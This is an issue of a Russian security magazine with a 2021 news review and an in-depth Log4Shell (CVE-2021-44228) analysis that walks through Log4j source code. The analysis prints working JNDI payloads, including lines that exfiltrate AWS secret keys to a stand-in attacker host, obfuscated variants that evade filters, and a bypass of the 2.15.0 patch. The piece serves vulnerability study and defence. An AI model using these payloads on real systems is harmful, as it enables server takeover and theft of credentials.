Академический Документы
Профессиональный Документы
Культура Документы
CONTENTS
MEGANews
Все новое за последний месяц
Log4Shell
Уязвимость, которая может стать худшей проблемой 2021 года
Log4HELL!
Разбираем Log4Shell во всех подробностях
Близкие контакты
Взлом Google Pay, Samsung Pay и Apple Pay
Уроки форензики
Исследуем вредоносные документы Microsoft Ofce
Уязвимости слонов
Наиболее эпичные CVE в PostgreSQL
Хакерская телега
Обзор Telegram-каналов об информационной безопасности
Звездная сила
Как уязвимость в StarForce позволяет обнулять триал
Уроки форензики
Расследуем взлом веб-сервера с Linux, Apache и Drupal
Проблемы эксфильтрации
Как поймать воров или не попасться при пентесте
Фундаментальные основы хакерства
Соглашение о быстрых вызовах — fastcall
HTB Intelligence
Пентестим Active Directory от MSA до KDC
HTB Writer
Ломаем приложение на Django, чтобы захватить веб-сервер
HTB Pikaboo
Пентестим nginx и повышаем привилегии через LFI
Облако под защитой
Тестируем Cryptomator и другие шифрующие ФС
Сверхрегенератор
Собираем радиоприемник из восьми деталей
Титры
Кто делает этот журнал
Мария «Mifrill» Нефёдова
nefedova@glc.ru
АТАКА ГОДА
COLONIAL PIPELINE
Кого‑нибудь ломают каждый день, но далеко не все атаки попадают на пер‐
вые полосы мировых СМИ. В этом году такой «чести» удостоились компании
Colonial Pipeline (крупнейший в США оператор трубопроводов) и Kaseya (пос‐
тавщик MSP-решений), атакованные шифровальщиками.
Атака на Colonial Pipeline, из‑за которой в ряде штатов был введен режим
ЧС, стала той самой соломинкой, способной переломить спину верблюда:
внимание правоохранительных органов к шифровальщикам усилилось, а на
большинстве хакерских форумов вообще поспешили запретить рекламу
вымогательского ПО.
DDOS-РЕКОРДЫ ГОДА
С каждым годом DDoS-атаки становятся все мощнее. В 2021 году было установлено сразу нес‐
колько таких «рекордов».
Ботнет Mēris атаковал Яндекс, Хабр и множество других сайтов и компаний. Пиковая мощность
этих атак составила 17 200 000 и 21 800 000 запросов в секунду.
УТЕЧКИ ГОДА
TWITCH И FACEBOOK
В наше время защитить свои данные от утечек возможно лишь одним спо‐
собом — не делиться ими ни с кем. В противном случае в один не слишком
прекрасный момент твоя личная информация может оказаться в продаже
на каком‑нибудь форуме даркнета. К примеру, в этом году с подобными
проблемами пришлось столкнуться стримерам Twitch и 533 миллионам поль‐
зователей Facebook.
Любопытно, что после утечки данных о доходах стримеров журналисты
обнаружили сложную схему по отмыванию денег через сервис. Оказалось,
деньги преступников проходят через турецких стримеров в формате пожер‐
твований.
ИССЛЕДОВАНИЕ ГОДА
DEPENDENCY
CONFUSION
Помимо взломов, утечек данных, обнаружения опасных багов и скандалов
вокруг очередных NFT в ИТ‑сообществе есть и более созидательная
активность, а также люди, которые посвящают свое время исследованиям,
написанию научных статей, докладов и интересных ресерчей. Яркий при‐
мер — атака на цепочку поставок, получившая название dependency
confusion, о которой в этом году миру поведал ИБ‑эксперт Алекс Бирсан (Alex
Birsan).
За обнаружение этого способа атак исследователь получил от различных
компаний более 130 тысяч долларов по программам bug bounty. Так, исполь‐
зуя эту проблему, специалист сумел загрузить собственный (безвредный) код
в системы Microsoft, Apple, PayPal, Shopify, Netflix, Yelp, Tesla, Uber и других
компаний.
УЯЗВИМОСТЬ ГОДА
LOG4SHELL
Чтобы перечислить все сколь‑нибудь заметные баги уходящего года, нам,
пожалуй, не хватит и отдельной статьи. К сожалению, дыры находят везде
и постоянно, начиная от отдельных библиотек и заканчивая железом.
На этот раз самой масштабной проблемой можно назвать RCE-уяз‐
вимость Log4Shell, обнаруженную в конце года в популярной библиотеке жур‐
налирования Log4j. Дело в том, что сложно найти компанию, сайт или при‐
ложение, которые вовсе не используют потенциально уязвимые продукты.
WWW
Список самых атакуемых уязвимостей 2020–
2021 годов по версии ФБР, CISA, ACSC и NCSC
можно увидеть здесь.
БЛОКИРОВКА ГОДА
ЗАПРЕТ TOR
В РОССИИ
К сожалению, 2021 год запомнится многим как время, когда в России начали
блокировать Tor. Представители Роскомнадзора сообщили, что основанием
для блокировки стало «размещение на указанном сайте информации, обес‐
печивающей работу средств, предоставляющих доступ к противоправному
контенту».
По состоянию на конец декабря 2021 года подключение к публичным
узлам по‑прежнему не работает, и разработчики Tor Project рекомендуют
использовать мосты.
НАРУШИТЕЛЬ ПРИВАТНОСТИ ГОДА
ANDROID
Как когда‑то писал Даня Шеповалов: «За мной следят со спутника. Придется
всех убить». Увы, в современном мире за нами действительно следят везде:
через смартфоны, трекеры в браузерах, камеры видеонаблюдения и так
далее. Например, сводная группа исследователей из нескольких британских
университетов обнаружила множество проблем с конфиденциальностью,
возникающих при использовании смартфонов на Android.
Исследование показало, что конфиденциальные данные пользователей,
включая постоянные идентификаторы, сведения об использовании приложе‐
ний и телеметрию, передаются не только производителям устройств
(Samsung, Xiaomi, Realme и Huawei), но и различным третьим сторонам.
Продолжение статьи
→
←
Начало статьи
МАЛВАРЬ ГОДА
PEGASUS
Как уже было отмечено в начале этого текста, в сети постоянного кого‑нибудь
ломают, в продаже появляется новая малварь, а правоохранители регулярно
сообщают об очередной серии арестов участников очередной хак‑группы.
В этом году внимание общественности было привлечено к шпионской мал‐
вари Pegasus производства израильской компании NSO Group.
Дело в том, что летом 2021 года правозащитная организация Amnesty
International, некоммерческий проект Forbidden Stories, а также более 80 жур‐
налистов консорциума из 17 медиаорганизаций в десяти странах мира опуб‐
ликовали результаты совместного расследования, посвященного «Пегасу».
После этой публикации Pegasus получил широкую известность за пределами
ИБ‑сообщества, а у NSO Group возникли проблемы.
КРУПНЕЙШИЕ ВЫКУПЫ
К сожалению, атаки шифровальщиков по‑прежнему представляют огромную проблему. Но если
несколько лет назад от них страдали рядовые пользователи, теперь хакеры атакуют крупные
компании и вымогают у пострадавших огромные суммы в качестве выкупа за расшифровку дан‐
ных.
Также в этом году хак‑группа Revil требовала 70 000 000 долларов от компании Kaseya,
но руководство поставщика MSP-решений платить отказалось.
ХАРДВЕРНЫЙ ВЗЛОМ ГОДА
АТАКА
НА PLAYSTATION 5
Так как мы не Wylsacom, регулярными обзорами гаджетов похвастаться
не можем. Однако мы никогда не упускаем случая рассказать об интересных
железках, аппаратных уязвимостях и других хадрверных новостях.
Осенью 2021 года известная хакерская команда Fail0verflow сообщила, что
приблизилась к взлому PlayStation 5. Участники группы добрались до всех
корневых ключей консоли и показали расшифрованный файл прошивки PS5,
где был выделен код, относящийся к безопасному загрузчику (secure loader).
В теории анализ расшифрованной прошивки поможет Fail0verflow (и другим
хакерам) отреверсить код и создать кастомную прошивку с возможностью
загрузки на PS5 стороннего ПО.
ПИКАНТНАЯ НОВОСТЬ ГОДА
ЗАКРЫТИЕ FREEDOM
HOSTING
Как известно — Internet is for porn, а значит, подводя итоги года, мы никак
не можем обойти стороной темы «для взрослых». Увы, самая громкая новость
этого года, связанная с порнографией, была совсем не забавной (веселые
новости 18+ перечислены ниже) и касалась детского порно: бывший опе‐
ратор Freedom Hosting был приговорен к 27 годам тюрьмы.
Эта компания предоставляла услуги даркнет‑хостинга более чем 200 сай‐
там, на которых размещались материалы, связанные с эксплуатацией детей
и сексуальным насилием над малолетними.
ФЕЙЛ ГОДА
ПОПЫТКА
ЗАБЛОКИРОВАТЬ
127.0.0.1
Приз за самый эпичный фейл года есть даже среди наград известной премии
Pwnie Awards (кстати, в этом году ее удостоилась компания Microsoft за дол‐
гие и безуспешные попытки справиться с уязвимостями PrintNightmare). Мы,
конечно, тоже не могли не вспомнить самые громкие провалы и курьезы года,
ведь, читая некоторые новости, невольно думаешь: «но ведь на календаре
не первое апреля».
Самым забавным, на наш взгляд, в этом году стал случай, когда антипира‐
ты попросили Google заблокировать 127.0.0.1. Отличилась фирма Vindex,
представляющая интересы ТРК «Украина». Она направила Google странный
запрос на удаление контента из поисковой выдачи. Один из адресов,
нарушающих права ТРК «Украина», указывал на 127.0.0.1, то есть антипираты
нашли запрещенный контент в собственных системах.
Летом 2021 года Джон Макафи был найден мертвым в тюремной камере. Ранее основатель
компании McAfee, один из пионеров в сфере антивирусного ПО, а в последние годы известный
криптовалютный энтузиаст Макафи был арестован осенью 2020 года за уклонение от уплаты
налогов и нарушение закона о ценных бумагах.
Компания Microsoft выпустила собственный дистрибутив Linux. Иронично, ведь двадцать лет
назад, в 2001 году, Стив Баллмер называл Linux раковой опухолью индустрии, а в наши дни
Microsoft является одним из наиболее активных участников опенсорсных проектов в мире
и владеет GitHub.
В конце сентября основатель и глава компании Group-IB Илья Сачков был задержан по подоз‐
рению в госизмене, а в офисах компании прошли обыски. В настоящее время Сачков по‑преж‐
нему находится в СИЗО, а материалы уголовного дела засекречены. Руководство компанией
временно взял на себя второй основатель Group-IB Дмитрий Волков.
HEADER
LOG4SHELL
УЯЗВИМОСТЬ, КОТОРАЯ МОЖЕТ СТАТЬ
ХУДШЕЙ ПРОБЛЕМОЙ 2021 ГОДА
LOG4SHELL
В середине декабря 2021 года разработчики Apache Software Foundation
выпустили экстренное обновление безопасности, исправляющее 0-day-уяз‐
вимость (CVE-2021-44228) в популярной библиотеке журналирования Log4j,
входящей в состав Apache Logging Project. Срочность объяснялась тем, что
ИБ‑специалисты уже начали публиковать в открытом доступе PoC-эксплоиты,
объясняя, что использовать баг можно удаленно, причем для этого
не понадобятся особые технические навыки.
Проблема получила название Log4Shell и — редкий случай! — набрала
десять баллов из десяти возможных по шкале оценки уязвимостей CVSS v3.
Баг допускает удаленное выполнение произвольного кода (RCE), причем
вредоносный код может попасть в систему самыми разными способами, ведь
для атаки достаточно, чтобы нужная запись оказалась в логах.
Исходно проблема была обнаружена во время отлова багов на серверах
Minecraft, но библиотека Log4j присутствует практически в любых корпоратив‐
ных приложениях и Java-серверах. К примеру, ее можно найти почти во всех
корпоративных продуктах, выпущенных Apache Software Foundation, включая
Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache
Kafka, Apache Dubbo. Также Log4j активно применяют в опенсорсных про‐
ектах, например Redis, Elasticsearch, Elastic Logstash или Ghidra.
Таким образом, компании, использующие любой из этих продуктов, тоже
косвенно уязвимы перед атаками на Log4Shell, хотя могут даже не знать
об этом. ИБ‑специалисты сразу предупреждали, что перед Log4Shell могут
быть уязвимы решения таких гигантов, как Apple, Amazon, Twitter, Cloudflare,
Steam, Tencent, Baidu, DIDI, JD, NetEase, и, вероятно, тысяч других компаний.
Принцип работы Log4Shell весьма прост: уязвимость вынуждает приложе‐
ния и серверы на основе Java, где используется библиотека Log4j, сохранять
в логах определенную строку. Когда приложение или сервер обрабатывают
такие логи, строка может заставить уязвимую систему загрузить и запустить
вредоносный скрипт из домена, контролируемого злоумышленником. Итогом
станет полный захват уязвимого приложения или сервера, а атака может раз‐
виться дальше.
Немного цифр
По информации экспертов компании Check Point, для Log4Shell уже сущес‐
твует более 60 эксплоитов и в некоторые моменты можно наблюдать
до 100 попыток атак на уязвимость в минуту.
Также проблема используется для установки малвари Mirai и Muhstik на уяз‐
вимые устройства. Эти IoT-угрозы делают уязвимые девайсы частью бот‐
нетов, так же используя их для добычи криптовалюты и проведения масштаб‐
ных DDoS-атак.
По информации аналитиков Microsoft, уязвимость в Log4j и вовсе исполь‐
зуется для развертывания маяков Cobalt Strike. И хотя на момент обнаруже‐
ния этого факта не было доказательств, что эксплоит для Log4j взяли
на вооружение вымогатели, эксперты писали, что развертывание маяков
Cobalt Strike ясно говорит: такие атаки неизбежны.
К сожалению, уже стало ясно, что специалисты Microsoft были правы: сот‐
рудники компании Bitdefender обнаружили первый шифровальщик Khonsari,
который эксплуатирует свежий баг для вымогательских атак. Впрочем, сле‐
дует отметить, что Khonsari скорее похож на вайпер, то есть это умышленно
деструктивная малварь, которая нарочно шифрует данные без возможности
восстановления. Дело в том, что жертвы не могут связаться с операторами
вредоноса для выплаты выкупа, а значит, не в состоянии спасти свою
информацию.
Кроме того, по последним данным все той же Microsoft, уязвимость уже
активно применяют в своих атаках «правительственные» хакеры Китая
(Hafnium), Ирана (Phosphorus), Северной Кореи и Турции. Сообщается, что
«активность варьируется от экспериментов во время разработки до интегра‐
ции уязвимости в процесс развертывания полезных нагрузок и исполь‐
зования против целей для достижения задач хакеров». Упомянутые груп‐
пировки обычно занимаются вымогательскими операциями, а также кибер‐
шпионажем и сбором данных.
Также Microsoft заявила, что наблюдает за несколькими злоумышленни‐
ками, которые выступают в качестве брокеров доступа для операторов
вымогателей. То есть эти люди используют эксплоит для Log4Shell, чтобы зак‐
репляться в различных корпоративных сетях, а затем продавать полученный
доступ другим хак‑группам.
ЗАЩИТА
К большому сожалению, из‑за повсеместной распространенности Log4j
ИБ‑эксперты уверены, что проблема Log4Shell имеет все шансы стать
не просто худшей уязвимостью 2021 года, но и самой большой головной
болью последней пятилетки. Поэтому сейчас все призывают всех как можно
скорее проверить и защитить свои системы от атак, установить патчи и при‐
нять иные меры предосторожности. Перечислим, что можно и нужно для это‐
го сделать.
Лучший вариант, разумеется, — обновить Log4j до последней актуальной
версии: на данный момент это версия 2.17. Для удобства администраторов
специалисты из компании Huntress Labs подготовили бесплатный сканер,
который компании могут использовать для оценки своих собственных систем
на уязвимость.
Эксперты компании Cybereason и вовсе предложили «вакцину»
от Log4Shell, получившую название Logout4Shell. «Вакцина» представляет
собой скрипт, удаленно эксплуатирующий баг для отключения нужных настро‐
ек в уязвимом экземпляре Log4Shell. По сути, пейлоад в данном случае без‐
вреден и отключает параметр trustURLCodebase на удаленном сервере
для снижения рисков.
Специалисты Cybereason объясняют, что угрозу можно смягчить, уста‐
новив для параметра log4j2.formatMsgNoLookups значение true или удалив
класс JndiLookup. Кроме того, если на сервере Java runtimes >= 8u121, то
по умолчанию для параметров com.sun.jndi.rmi.object.trustURLCodebase
и com.sun.jndi.cosnaming.object.trustURLCodebase установлено значение
false, что тоже позволяет сократить риски.
СПИСКИ УЯЗВИМЫХ
С обнаружения Log4Shell прошло слишком мало времени, и, если учесть
огромный охват проблемы, исчерпывающий список того, что уязвимо, а что
нет, по‑прежнему недоступен даже для таких правительственных агентств,
как CISA.
Списки уязвимых продуктов, а также бюллетеней безопасности и сооб‐
щений различных компаний пока составляются исключительно силами
экспертов и сообщества. Один из таких обновляющихся и детальных переч‐
ней курируют специалисты Национального центра кибербезопасности
Нидерландов, и ознакомиться с ним можно на GitHub.
Аналитики CISA также собирают из открытых источников реакции
и рекомендации производителей и тоже публикуют список известных патчей
и уязвимых решений на GitHub.
aLLy
ONsec
@iamsecurity
LOG4HELL! РАЗБИРАЕМ LOG4SHELL
ВО ВСЕХ ПОДРОБНОСТЯХ
Найденные уязвимости
CVE-2021-44228 — злоумышленник, который контролирует сообщения
журнала или параметры сообщений журнала, может выполнить произвольный
код, загруженный с серверов LDAP через JNDI. Проблема затрагивает версии
Apache Log4j2 2.0-beta9 до 2.15.0 (за исключением исправлений безопас‐
ности 2.12.2, 2.12.3 и 2.3.1), они уязвимы к удаленному выполнению про‐
извольного кода через JNDI.
CVE-2021-45046 — злоумышленник, контролирующий через Thread
Context Map (MDC) динамические данные в сообщениях журналов событий,
может создать с использованием JNDILookup пейлоад, который приведет
к утечке информации и удаленному выполнению кода в некоторых конфигура‐
циях Log4j и локальному выполнению кода во всех конфигурациях. Проблема
присутствует из‑за не полностью исправленной уязвимости CVE-2021-
44228 в Log4j 2.15.0.
CVE-2021-45105 — из‑за проблемы неконтролируемой рекурсии зло‐
умышленник специально сформированным сообщением журнала событий
может вызвать отказ в обслуживании. Проблема затрагивает версии
Log4j2 начиная с 2.0-alpha1 и до 2.16.0 (за исключением 2.12.3 и 2.3.1).
CVE-2021-44832 — злоумышленник, имеющий доступ к изменению нас‐
троек логирования, может создать такую конфигурацию, через которую воз‐
можно удаленное выполнение кода. Для этого используется JDBC Appender
с источником данных, ссылающимся на JNDI URI. Проблема затрагивает все
версии Log4j2 начиная с 2.0-beta7 и до 2.17.0.
СТЕНД
Театр, как известно, начинается с вешалки, а тестирование уязвимости —
со стенда. В качестве основной системы я буду использовать Windows
и IntelliJ IDEA для компиляции и отладки.
Cоздаем пустой проект на Java с использованием gradle. Добавляем
в зависимости уязвимую версию Log4j, например 2.14.1.
build.gradle
dependencies {
implementation 'org.apache.logging.log4j:log4j-api:2.14.1'
implementation 'org.apache.logging.log4j:log4j-core:2.14.1'
}
src/main/java/logger/Test.java
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
build.gradle
plugins {
id 'java'
id 'application'
}
...
mainClassName = 'logger.Test'
ДЕТАЛИ УЯЗВИМОСТИ
Попробуем разобраться, почему эта загадочная конструкция вообще выпол‐
няется.
По сути, конструкции вида ${} используются в динамических строках,
которые преобразуются разными реализациями класса StringSubstitutor.
Да не осудят меня Java-сеньоры, я буду считать, что это просто переменные.
Теперь скачаем исходники нашей версии библиотеки Log4j. Интересу‐
ющая нас обработка логируемого события начинается в методе format клас‐
са MessagePatternConverter.
org/apache/logging/log4j/core/pattern/MessagePatternConverter.jav
a
public final class MessagePatternConverter extends
LogEventPatternConverter {
...
public void format(final LogEvent event, final StringBuilder
toAppendTo) {
final Message msg = event.getMessage();
...
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(
i + 1) == '{') {
final String value = workingBuilder.substring(offset,
workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(
event, value));
}
}
}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public class StrSubstitutor implements ConfigurationAware {
...
public static final char DEFAULT_ESCAPE = '$';
...
public static final StrMatcher DEFAULT_PREFIX = StrMatcher.
stringMatcher(DEFAULT_ESCAPE + "{");
...
public static final StrMatcher DEFAULT_SUFFIX = StrMatcher.
stringMatcher("}");
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public StrMatcher getVariablePrefixMatcher() {
return prefixMatcher;
}
...
public StrMatcher getVariableSuffixMatcher() {
return suffixMatcher;
}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {
final StrMatcher prefixMatcher = getVariablePrefixMatcher();
final StrMatcher suffixMatcher = getVariableSuffixMatcher();
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset,
bufEnd);
if (startMatchLen == 0) {
pos++;
} else // found variable start marker
org/apache/logging/log4j/core/lookup/StrMatcher.java
public abstract class StrMatcher {
...
static final class StringMatcher extends StrMatcher {
...
public int isMatch(final char[] buffer, int pos, final int
bufferStart, final int bufferEnd) {
final int len = chars.length;
if (pos + len > bufferEnd) {
return 0;
}
for (int i = 0; i < chars.length; i++, pos++) {
if (chars[i] != buffer[pos]) {
return 0;
}
}
return len;
}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
} else {
// find suffix
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
...
while (pos < bufEnd) {
...
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
String varNameExpr = new String(chars, startPos + startMatchLen, pos
- startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
if (valueEscapeDelimiterMatcher != null) {
int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars
, i);
...
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(
varNameExprChars, i)) != 0) {
...
}
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(
varNameExprChars, i)) != 0) {
...
}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos,
endPos);
if (varValue == null) {
varValue = varDefaultValue;
}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
protected String resolveVariable(final LogEvent event, final String
variableName,
final StringBuilder buf,
final int startPos, final int endPos
) {
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public StrLookup getVariableResolver() {
return this.variableResolver;
}
Продолжение статьи
→
COVERSTORY ←
НАЧАЛО СТАТЬИ
LOG4HELL!
РАЗБИРАЕМ LOG4SHELL
ВО ВСЕХ ПОДРОБНОСТЯХ
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
return resolver.lookup(event, variableName);
}
org/apache/logging/log4j/core/lookup/Interpolator.java
public class Interpolator extends AbstractConfigurationAwareLookup {
...
public static final char PREFIX_SEPARATOR = ':';
...
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}
org/apache/logging/log4j/core/lookup/Interpolator.java
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(
Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
...
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event
, name);
}
org/apache/logging/log4j/core/lookup/JndiLookup.java
@Plugin(name = "jndi", category = StrLookup.CATEGORY)
public class JndiLookup extends AbstractLookup {
...
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.
getDefaultManager()) {
return Objects.toString(jndiManager.lookup(jndiName), null);
} catch (final NamingException e) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].",
jndiName, e);
return null;
}
}
Это и есть вся магия. Здесь я не буду вдаваться в детали о Java Naming
and Directory Interface (JNDI), это выходит за рамки статьи. Важно только, что
с его помощью можно выполнить RCE.
mvn package
${jndi:ldap://127.0.0.1:1389/o=reference}
cd log4shell-vulnerable-app
gradlew bootRun
${jndi:ldap://127.0.0.1:1389/o=tomcat}
Эксплуатация
НЕ RCE ЕДИНЫМ
Выполнение кода — это, конечно, замечательно, но уязвимость и без этого
сулит много проблем. Давай вспомним, какое количество резолверов,
помимо JNDI, были объявлены в variableResolver:
Это хорошо, но как нам получить значение этой переменной удаленно? Давай
вернемся к методу substitute. Разберем переменную
substitutionInVariablesEnabled.
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {
...
final boolean substitutionInVariablesEnabled =
isEnableSubstitutionInVariables();
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public boolean isEnableSubstitutionInVariables() {
return enableSubstitutionInVariables;
}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
/**
* The flag whether substitution in variable names is enabled.
*/
private boolean enableSubstitutionInVariables = true;
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {
...
final boolean substitutionInVariablesEnabled =
isEnableSubstitutionInVariables();
...
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset,
bufEnd)) != 0) {
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
nestedVarCount++;
pos += endMatchLen;
continue;
${jndi:ldap://attacker.server/${env:AWS_SECRET_ACCESS_KEY}}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker.server/any}
org/apache/logging/log4j/core/lookup/Interpolator.java
public String lookup(final LogEvent event, String var) {
...
final String prefix = var.substring(0, prefixPos).toLowerCase(
Locale.US);
${ĴņđĨ:ldap://127.0.0.1/${env:OS}}
${${upper:j}${lower:n}${upper:d}i:${lower:l}d${lower:ap}://127.0.0.1/
${env:OS}}
Продолжение статьи
→
COVERSTORY ←
НАЧАЛО СТАТЬИ
LOG4HELL!
РАЗБИРАЕМ LOG4SHELL
ВО ВСЕХ ПОДРОБНОСТЯХ
Только не используй верхний регистр в схеме (ldap), так как она регистро‐
зависима и LDAP://127.0.0.1 уже не приведет коннект к твоему серверу.
Теперь давай еще раз вернемся к проверке значения переменной
в методе substitute, к тому куску кода, что я пропустил вначале.
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {
...
if (valueEscapeDelimiterMatcher != null) {
int matchLen = valueEscapeDelimiterMatcher.isMatch(
varNameExprChars, i);
if (matchLen != 0) {
...
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.
isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i +
valueDelimiterMatchLen);
break;
}
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.
isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i +
valueDelimiterMatchLen);
break;
}
}
}
${резолвер:переменная:-дефолтное_значение}
${env:ANYTHING:-hello}
${::-hello}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos,
endPos);
if (varValue == null) {
varValue = varDefaultValue;
}
${${:::::-j}${lower:N}${env:OLOLOLO:-d}i:${::-l}${:ANYANY:-d}${ASDF:
DSFA:-a}p://127.0.0.1/${env:OS}}
ПАТЧИ И ИХ ОБХОДЫ
Настало время поговорить о заплатках для уязвимости.
Первое, что рекомендовали, — это установить флаг formatMsgNoLookups
или переменную окружения LOG4J_FORMAT_MSG_NO_LOOKUPS в true, чтобы
переменные в логируемых событиях не обрабатывались. Такое решение под‐
ходит для Log4j версий 2.10 и выше.
Это действительно помогает, только вот далеко не всегда. Причина в том, что
в Log4j все еще существуют места в коде, где может происходить обработка
переменных в логируемых событиях. Например, если приложение использует
конструкции вида Logger.printf(level, "%s", userInput) или свой кас‐
томный класс для логирования, где не реализуется
StringBuilderFormattable.
Могут существовать и другие векторы атак, так что использовать этот метод
фикса не рекомендуется.
Первый официальный патч появился в версии 2.15. В ней возможность
использовать переменные в сообщениях по дефолту отключили, но в кон‐
фигах это по‑прежнему работает. Для JNDI-коннектов был введен механизм
белых списков, который по умолчанию разрешает только localhost. Если
используется кастомный шаблон логирования, где пользовательские данные
каким‑то образом попадают в Thread Context Map (MDC), то эксплуатация
уязвимости все еще возможна.
Рассмотрим на примере. Возьмем форк репозитория log4shell-vulnerable-
app Кая Миндермана (Kai Mindermann).
cd log4shell-vulnerable-app-2
build.gradle
configurations.all {
resolutionStrategy.eachDependency { DependencyResolveDetails details
->
if (details.requested.group == 'org.apache.logging.log4j') {
details.useVersion '2.15.0'
}
}
}
src/main/resources/log4j2.properties
appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd
HH:mm:ss} %-5p %c{1}:%L - %m%n
src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController
.java
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion
) {
// Add user controlled input to threadcontext;
// Used in log via ${ctx:apiversion}
ThreadContext.put("apiversion", apiVersion);
gradlew bootRun
src/main/resources/log4j2.properties
appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd
HH:mm:ss} %-5p %c{1}:%L - %m%n
build.gradle
configurations.all {
resolutionStrategy.eachDependency { DependencyResolveDetails details
->
if (details.requested.group == 'org.apache.logging.log4j') {
details.useVersion '2.16.0'
}
}
}
ВЫВОДЫ
В этой статье я рассмотрел очень интересную и опасную с точки зрения пос‐
ледствий уязвимость. Легкость эксплуатации породила настоящий бум в сети,
всевозможные логи начали пухнуть от наличия в них записей, содержащих
заветные ${jndi:ldap://}. Log4Shell по праву стал самой горячей уяз‐
вимостью уходящего года. Думаю, что мы еще долгое время будем видеть
на просторах багбаунти репорты, где эта проблема всплывает в самых
неожиданных местах.
Удивительно, как баг с таким простым вектором эксплуатации оставался
в тени широкой общественности целых восемь лет, ведь первая уязвимая
версия Log4j 2.0 beta9 была выпущена аж в конце сентября 2013 года.
Для нас это очередное напоминание о том, что иногда достаточно лишь
пристальнее приглядеться к коду, который у всех на виду, чтобы обнаружить
нечто интересное.
ВЗЛОМ
БЛИЗКИЕ
КОНТАКТЫ
ВЗЛОМ GOOGLE PAY,
SAMSUNG PAY И APPLE PAY
Читай также
О принципах, на которых строится безопасность банковских платежных сис‐
тем, ты можешь узнать из моих предыдущих статей:
• Близкие контакты. Атакуем бесконтактные карты
• Близкие контакты. Как работают атаки на чиповые карты
• Близкие контакты. Как хакеры крадут деньги с банковских карт
• Близкие контакты. Разбираемся, как работают системы безопасности кре‐
дитных карт
ПРЕДЫСТОРИЯ
Если проследить эволюцию стандарта EMV, то вначале были чиповые
смарт‑карты. Затем эти карты оснастили антенной и превратили в бесконтак‐
тные карты, унаследовавшие почти все функции от EMV. Но карточным брен‐
дам этого было мало, и в 2011 году уже существовавший тогда Google Wallet
оснастили функцией бесконтактной оплаты с помощью NFC.
Google использовала подход Host-Card Emulator (HCE), когда конечное
устройство не содержит в себе все приватные и симметричные ключи шиф‐
рования по аналогии со смарт‑картой, а время от времени загружает одно‐
разовые ключи (Single-Use Key, SUK) для каждой следующей операции. При‐
держиваясь этого подхода до сих пор, телефоны с Google Pay не позволяют
совершать больше двадцати операций без подключения к интернету.
В 2012 году Samsung и Apple представили свои кошельки с использованием
технологии Secure Element. Работают они по аналогии со смарт‑картами, где
физически и логически защищенный чип гарантирует защиту от перехвата,
чтения, перезаписи секретных ключей, на основе которых создаются 3DES-
криптограммы EMV и подписываются данные с помощью асимметричного
RSA.
